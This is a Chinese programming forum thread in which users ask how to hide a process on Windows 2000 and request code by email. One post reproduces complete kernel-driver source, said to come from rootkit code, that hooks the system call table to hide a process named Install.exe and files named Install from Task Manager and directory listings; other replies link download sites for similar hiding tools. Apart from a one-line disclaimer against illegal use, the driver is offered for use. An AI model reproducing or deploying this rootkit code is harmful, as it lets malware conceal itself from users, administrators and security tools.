如何在win2000中隐藏进程??(win98中的那个函数不好用)(50分)

  • 主题发起人 jyh_jack
  • 开始时间
chudx@263.net<br>也给我一份吧,万份感谢
 
放到 delphibbs.mychangshu.com 上<br>[:)][:)]
 
请给我一份,多少分数自己说,bjf2000@163.net
 
请到http://njhhack.freehomepages.com/中部,<br>下载“WiN9X,NT,W2K下进程深度隐藏的源程序”,有2套源码<br>相关原理在本论坛可找到该作者的帖子,<br><br>不过很奇怪的是我前几天在XP下成功地隐藏了,今天试的时候竟然有问题!
 
去看看hubdog的葵花宝典version 2.5,<br><br>用“Hook”和“黑人”做关键词查询。<br><br>到这里down源程序:http://njhhack.freehomepages.com/source/hideproc.zip<br><br>程序虽然不是我写的,但要记得给分哦。
 
在w2k下不能隐藏
 
evering,茶叶蛋,<br>为什么你们说的网址,我都没法去呢???<br>
 
NT/2000下面用驱动实现真正的进程,文件,目录隐藏<br> &nbsp; &nbsp;qinzm<br>最近看了一下RootKit的代码,把其中进程文件目录隐藏的代码整理出来,<br>重新编译成一个完整可用的驱动,可以实现定制的进程文件目录的隐藏,<br>隐藏后,进程管理器无法看到,文件和目录也无法看到,但知道绝对路径的<br>情况下,可以正常使用隐藏的文件,只对NT/2000有效,编译后的驱动只有2k多.<br> &nbsp; 程序用于实验,请勿非法使用<br><br>//////////////////////////////////////////////////////////////////////////////////////<br>//<br>// &nbsp;FileName &nbsp; &nbsp;: &nbsp; D:/Temp/Hide/Driver.c<br>// &nbsp;Version &nbsp; &nbsp; : &nbsp; 1.0<br>// &nbsp;Creater &nbsp; &nbsp; : &nbsp; QinzhiMing<br>// &nbsp;Date &nbsp; &nbsp; &nbsp; &nbsp;: &nbsp; 2002:2:25 &nbsp; 14:42<br>// &nbsp;Comment &nbsp; &nbsp; : &nbsp; &nbsp;<br>//<br>//////////////////////////////////////////////////////////////////////////////////////<br><br>#include "ntddk.h"<br>#include "Driver.h"<br>#include "stdio.h"<br><br>/////////////////////////////////////////////////////////////////////////////<br><br>char g_szHideProcName[] = "Install.exe";<br>WCHAR g_wszHideFileName[] = L"Install";<br><br>ULONG g_nProcessNameOffset;<br>BOOL g_hide_proc = TRUE;<br><br>/////////////////////////////////////////////////////////////////////////////<br><br>NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegisterPath)<br>{<br> int i;<br> NTSTATUS ntStatus;<br> PDEVICE_OBJECT pDeviceObject;<br> WCHAR wchrDeviceName[] = L"//Device//Hide";<br> WCHAR wchrDeviceLinkName[] = L"//DosDevices//Hide";<br> UNICODE_STRING wszDeviceName;<br> UNICODE_STRING wszDeviceLinkName;<br> <br> RtlInitUnicodeString(&amp;wszDeviceName, wchrDeviceName);<br> ntStatus = IoCreateDevice(pDriverObject, 0, &amp;wszDeviceName, 0x00008000, 0, FALSE, &amp;pDeviceObject);<br> if (ntStatus != STATUS_SUCCESS)<br> goto Exit0;<br> RtlInitUnicodeString(&amp;wszDeviceLinkName, wchrDeviceLinkName);<br> ntStatus = IoCreateSymbolicLink(&amp;wszDeviceLinkName, &amp;wszDeviceName);<br> if (ntStatus != STATUS_SUCCESS)<br> {<br> IoDeleteDevice(pDeviceObject);<br> goto Exit0;<br> }<br> for (i = 0; i &lt; IRP_MJ_MAXIMUM_FUNCTION; i++)<br> pDriverObject-&gt;MajorFunction = OnDriverDispatch;<br> pDriverObject-&gt;DriverUnload = OnDriverUnload;<br> GetProcessNameOffset();<br> HookSysCall();//Hook系统服务<br>Exit0:<br> return ntStatus;<br>}<br><br>/////////////////////////////////////////////////////////////////////////////<br><br>void GetProcessNameOffset()<br>{<br> int i;<br>&nbsp; &nbsp; PEPROCESS CurrentProc;<br> CurrentProc = PsGetCurrentProcess();<br>&nbsp; &nbsp; for (i = 0; i &lt; 3 * PAGE_SIZE; i++) <br> {<br>&nbsp; &nbsp; &nbsp; &nbsp; if(!strncmp("System", (PCHAR)CurrentProc + i, strlen("System")))<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g_nProcessNameOffset = i;<br>&nbsp; &nbsp; }<br>}<br><br>/////////////////////////////////////////////////////////////////////////////<br><br>BOOL GetProcessName(PCHAR pszName)<br>{<br>&nbsp; &nbsp; char &nbsp;*pszTempName;<br> PEPROCESS CurrentProc; <br><br>&nbsp; &nbsp; if (g_nProcessNameOffset) <br> {<br>&nbsp; &nbsp; &nbsp; &nbsp; CurrentProc = PsGetCurrentProcess();<br>&nbsp; &nbsp; &nbsp; &nbsp; pszTempName = (PCHAR)CurrentProc + g_nProcessNameOffset;<br>&nbsp; &nbsp; &nbsp; &nbsp; strncpy(pszName, pszTempName, NT_PROCNAMELEN);<br>&nbsp; &nbsp; &nbsp; &nbsp; pszName[NT_PROCNAMELEN] = 0;<br> return TRUE;<br>&nbsp; &nbsp; } <br> return FALSE;<br>}<br><br>/////////////////////////////////////////////////////////////////////////////<br><br>void HookSysCall()<br>{<br> OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));<br> OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));<br> _asm cli;<br> (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = NewZwQuerySystemInformation;<br> (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) = NewZwQueryDirectoryFile;<br> _asm sti;<br>}<br><br>/////////////////////////////////////////////////////////////////////////////<br><br>void UnHookSysCall()<br>{<br> _asm cli;<br> (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;<br> (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) = OldZwQueryDirectoryFile;<br> _asm sti;<br>}<br><br>/////////////////////////////////////////////////////////////////////////////<br><br>NTSTATUS NewZwQuerySystemInformation(<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IN ULONG SystemInformationClass,<br> IN PVOID SystemInformation,<br> IN ULONG SystemInformationLength,<br> OUT PULONG ReturnLength)<br>{<br> NTSTATUS ntStatus;<br> CHAR szProcessName[PROCNAMELEN];<br> ANSI_STRING astrProcName;<br> ANSI_STRING astrHideProcName;<br><br> struct SYSTEM_PROCESS *Curr;<br> struct SYSTEM_PROCESS *Prev;<br> RtlInitAnsiString(&amp;astrHideProcName, g_szHideProcName);<br> GetProcessName(szProcessName);<br> ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))(<br> SystemInformationClass,<br> SystemInformation,<br> SystemInformationLength,<br> ReturnLength);<br> <br> if(!NT_SUCCESS(ntStatus))<br> goto Exit0;<br> if (memcmp(szProcessName, g_szHideProcName, strlen(g_szHideProcName)) == 0)//比较当前进程是否隐藏进程,是就退出,不对隐藏进程的做任何限制<br> goto Exit0;<br> if (SystemInformationClass != 5)<br> goto Exit0;<br> Curr = (struct SYSTEM_PROCESS *)SystemInformation;<br> Prev = NULL;<br>Loop:<br> if (Curr == NULL)<br> goto Exit0;<br> RtlUnicodeStringToAnsiString(&amp;astrProcName, &amp;(Curr-&gt;ProcessName), TRUE);<br> if ((astrProcName.Length &gt; 0) &amp;&amp; (astrProcName.Length &lt; 255))<br> ;<br> else<br> goto Next;<br> if (RtlCompareString(&amp;astrProcName, &amp;astrHideProcName, TRUE) != 0)<br> goto Next;<br> if (Prev)<br> {<br> if (Curr-&gt;NextEntryDelta)<br> Prev-&gt;NextEntryDelta += Curr-&gt;NextEntryDelta;<br> else<br> Prev-&gt;NextEntryDelta = 0;<br> }<br> else<br> {<br> if (Curr-&gt;NextEntryDelta)<br> (char *)SystemInformation += Curr-&gt;NextEntryDelta;<br> else<br> SystemInformation = NULL;<br> }<br>Next:<br> RtlFreeAnsiString(&amp;astrProcName);<br> Prev = Curr;<br> if (Curr-&gt;NextEntryDelta)<br> (char *)Curr += Curr-&gt;NextEntryDelta;<br> else<br> Curr = NULL;<br> goto Loop;<br>Exit0:<br> return ntStatus;<br>}<br><br>/////////////////////////////////////////////////////////////////////////////<br><br>NTSTATUS OnDriverDispatch(IN PDEVICE_OBJECT pDeviceObject, IN PIRP Irp)<br>{<br>/* PIO_STACK_LOCATION IrpStack;<br> Irp-&gt;IoStatus.Status = STATUS_SUCCESS;<br> Irp-&gt;IoStatus.Information = 0;<br> IrpStack = IoGetCurrentIrpStackLocation(Irp);*/<br> Irp-&gt;IoStatus.Status = STATUS_SUCCESS;<br> IoCompleteRequest(Irp, IO_NO_INCREMENT);<br> return Irp-&gt;IoStatus.Status;<br>}<br><br>/////////////////////////////////////////////////////////////////////////////<br><br>void OnDriverUnload(IN PDRIVER_OBJECT pDriverObject)<br>{<br> WCHAR wchrDeviceLinkName[] = L"//DosDevices//Hide";<br> UNICODE_STRING wszDeviceLinkName;<br> <br> UnHookSysCall();<br> RtlInitUnicodeString(&amp;wszDeviceLinkName, wchrDeviceLinkName);<br> IoDeleteSymbolicLink(&amp;wszDeviceLinkName);<br> IoDeleteDevice(pDriverObject-&gt;DeviceObject);<br>}<br><br>/////////////////////////////////////////////////////////////////////////////<br><br>NTSTATUS NewZwQueryDirectoryFile(<br> IN HANDLE hFile,<br> IN HANDLE hEvent OPTIONAL,<br> IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,<br> IN PVOID IoApcContext OPTIONAL,<br> OUT PIO_STATUS_BLOCK pIoStatusBlock,<br> OUT PVOID FileInformationBuffer,<br> IN ULONG FileInformationBufferLength,<br> IN FILE_INFORMATION_CLASS FileInfoClass,<br> IN BOOLEAN bReturnOnlyOneEntry,<br> IN PUNICODE_STRING PathMask OPTIONAL,<br> IN BOOLEAN bRestartQuery)<br>{<br> NTSTATUS ntStatus;<br> CHAR szProcessName[PROCNAMELEN];<br> BOOL bLastOne;<br> int iPos;<br> int iLeft;<br> pDirEntry pCurrDir;<br> pDirEntry pLastDir;<br> <br> GetProcessName(szProcessName);<br> ntStatus = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (<br> hFile,<br> hEvent,<br> IoApcRoutine,<br> IoApcContext,<br> pIoStatusBlock,<br> FileInformationBuffer,<br> FileInformationBufferLength,<br> FileInfoClass,<br> bReturnOnlyOneEntry,<br> PathMask,<br> bRestartQuery);<br> if (!NT_SUCCESS(ntStatus))<br> goto Exit0;<br> if (memcmp(szProcessName, "Install", 7) == 0)<br> goto Exit0;<br> pCurrDir = (pDirEntry)FileInformationBuffer;<br> pLastDir = NULL;<br> do <br> {<br> bLastOne = !(pCurrDir-&gt;dwLenToNext);<br> if (RtlCompareMemory((PVOID)&amp;pCurrDir-&gt;suName[0], (PVOID)&amp;g_wszHideFileName[0], 14) == 14) <br> {<br> if (bLastOne) <br> {<br> if (pCurrDir == (pDirEntry)FileInformationBuffer)<br> ntStatus = 0x80000006;<br> else <br> pLastDir-&gt;dwLenToNext = 0;<br> break;<br> } <br> else <br> {<br> iPos = ((ULONG)pCurrDir) - (ULONG)FileInformationBuffer;<br> iLeft = (DWORD)FileInformationBufferLength - iPos - pCurrDir-&gt;dwLenToNext;<br> RtlCopyMemory((PVOID)pCurrDir, (PVOID)((char *)pCurrDir + pCurrDir-&gt;dwLenToNext), (DWORD)iLeft);<br> continue;<br> }<br> }<br> pLastDir = pCurrDir;<br> pCurrDir = (pDirEntry)((char *)pCurrDir + pCurrDir-&gt;dwLenToNext );<br> } while (!bLastOne);<br>Exit0:<br> return ntStatus;<br>}<br>
 
我也要<br>pukerno.3@163.com
 
我也要<br>SUNXY@ZCHX.COM
 
可以给我来一份吗?见了代码就给加分<br>zzgyiyuan@yeah.net
 
我也要一份<br>chen_saint@popmail.com
 
也需要一份,谢谢<br><br>zixia@china.com.cn
 
顶部